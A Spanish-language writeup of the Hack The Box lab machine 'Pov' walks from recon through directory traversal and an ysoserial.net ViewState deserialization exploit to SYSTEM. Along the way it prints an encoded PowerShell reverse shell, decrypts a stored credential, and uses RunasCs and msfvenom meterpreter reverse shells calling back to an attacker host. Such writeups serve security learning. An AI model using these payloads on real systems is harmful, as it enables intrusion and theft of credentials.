Home

Published

- 3 min read

Pov - HTB Writeup

img of Pov - HTB Writeup

Initial Recon

Comenzamos nuestros escaneos con nmap.

   > sudo nmap -sS -p- --open --min-rate 3000 -Pn -n -vvv 10.10.11.251 -oG nmap 

PORT   STATE SERVICE REASON
80/tcp open  http    syn-ack ttl 127
   > nmap -p80 -sVC 10.10.11.251 -oN Ports


PORT   STATE SERVICE VERSION
80/tcp open  http    Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: pov.htb
|_http-server-header: Microsoft-IIS/10.0
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Solo encontramos un puerto, que en este caso es una Web: Web.

alt text

Buscamos en el sitio pero no encontramos nada interesante.

Searching Subdomains

Hacemos fuzzing de subdominios:

   ffuf -u http://10.10.11.251 -H "Host: FUZZ.pov.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -mc all -ac

alt text

Encontramos un subdominio llamado dev.pov.htb:

alt text

Si investigamos un poco la página, podemos ver que en varias partes menciona ASP.NET, lo que ya nos deja claro que la página está hecha en este.

alt text

En el botón de descargar cv podemos ver esto:

alt text

Enviamos la solicitud a la burpsuite

alt text

Si nos fijamos en el parámetro file está llamando al pdf de la CV

Directory Traversal

Podemos intentar ver el fichero etc/hosts

alt text

hay un archivo llamado web.config, que puede ser de interés:

alt text

Ysoserial

Vamos a generar un payload con la herramienta Ysoserial que nos permite crearlos en .NET: https://github.com/pwntester/ysoserial.net

Usamos el powershell base64: https://www.revshells.com/

Ejecutamos esto desde una máquina windows para crear la cadena que vamos a enviar a la máquina víctima:

   ./ysoserial.exe -p ViewState -g WindowsIdentity --decryptionalg="AES" --decryptionkey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" --validationalg="SHA1" --validationkey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468" --path="/portfolio" -c "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AMQAwADkAIgAsADkAMAAwADEAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA"

Insertamos nuestro payload en el parámetro VIEWSTATE, como sigue:

alt text

Estoy escuchando en el puerto 9001:

   sudo rlwrap -cAr nc -lvnp 9001 

alt text

Después de buscar en diferentes rutas de máquinas:

   Path                    
----                    
C:\Users\sfitz\Documents

Lateral Movement

podemos ver un archivo xml que contiene lo siguiente:

   <Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
  <Obj RefId="0">
    <TN RefId="0">
      <T>System.Management.Automation.PSCredential</T>
      <T>System.Object</T>
    </TN>
    <ToString>System.Management.Automation.PSCredential</ToString>
    <Props>
      <S N="UserName">alaading</S>
      <SS N="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb01000000cdfb54340c2929419cc739fe1a35bc88000000000200000000001066000000010000200000003b44db1dda743e1442e77627255768e65ae76e179107379a964fa8ff156cee21000000000e8000000002000020000000c0bd8a88cfd817ef9b7382f050190dae03b7c81add6b398b2d32fa5e5ade3eaa30000000a3d1e27f0b3c29dae1348e8adf92cb104ed1d95e39600486af909cf55e2ac0c239d4f671f79d80e425122845d4ae33b240000000b15cd305782edae7a3a75c7e8e3c7d43bc23eaae88fde733a28e1b9437d3766af01fdf6f2cf99d2a23e389326c786317447330113c5cfa25bc86fb0c6e1edda6</SS>
    </Props>
  </Obj>
</Objs>

Utilizaré el comando PowerShell Import-CliXml para leer el fichero y obtener la contraseña en texto plano

   $cred = Import-CliXml -Path connection.xml
   $cred.GetNetworkCredential().Password

llevamos las runas a la máquina víctima:

https://github.com/antonioCoco/RunasCs

Creamos un servidor smb para pasar este archivo a la máquina víctima:

   sudo impacket-smbserver share -smb2support /tmp/share -user test -password test 

crear una carpeta tmp en C:\ en la máquina víctima:

   net use n: \\10.10.14.109\share /user:test test
   copy n:\RunasCs.exe

I run the runas:

   .\RunasCs.exe alaading f8gQ8fynP44ek1m3 cmd.exe -r 10.10.14.109:4444

estamos escuchando:

   rlwrap -cAr nc -lnvp 4444

desde el powershell podemos ver este priv. What is SeDebugPrivilege?

hl privilegio SeDebugPrivilege en Windows permite a un usuario realizar depuración a nivel de sistema. En términos simples, con este privilegio, un usuario puede:

  • Accede a todos los procesos del sistema: Incluidos los que normalmente están protegidos y son inaccesibles, como los procesos del sistema operativo y los servicios críticos.

  • Modificar o finalizar procesos protegidos: El usuario puede terminar procesos que los usuarios estándar normalmente no podrían detener.

  • Leer y escribir en la memoria de cualquier proceso: Esto incluye la capacidad de inyectar código o realizar modificaciones en tiempo real en los procesos en ejecución.

Este privilegio es muy poderoso y suele estar reservado a las cuentas del sistema y a los administradores, ya que puede utilizarse para saltarse casi todas las medidas de seguridad del sistema operativo.

alt text

Privilege Escalation

Creamos un archivo con msfvenom:

   msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.109 LPORT=6969 -f exe -o platanoo.exe

Pasamos el archivo de vuelta a la máquina víctima:

   sudo impacket-smbserver share -smb2support /tmp/share -user test -password test
   net use n: \\10.10.14.109\share /user:test test
   copy n:\platanoo.exe

ahora estamos escuchando al meterpreter:

   msfconsole
   msf6 > use exploit/multi/handler
   msf6 > set payload windows/x64/meterpreter/reverse_tcp
   set LHOST tun0
   set LPORT 6969
   run
[*] Started reverse TCP handler on 10.10.14.109:6969 

Ahora ejecutamos el .exe en la máquina víctima:

   ./platanoo.exe

alt text

Migraremos a este proceso

   meterpreter > migrate 552
[*] Migrating from 2032 to 552...
[*] Migration completed successfully.
   meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM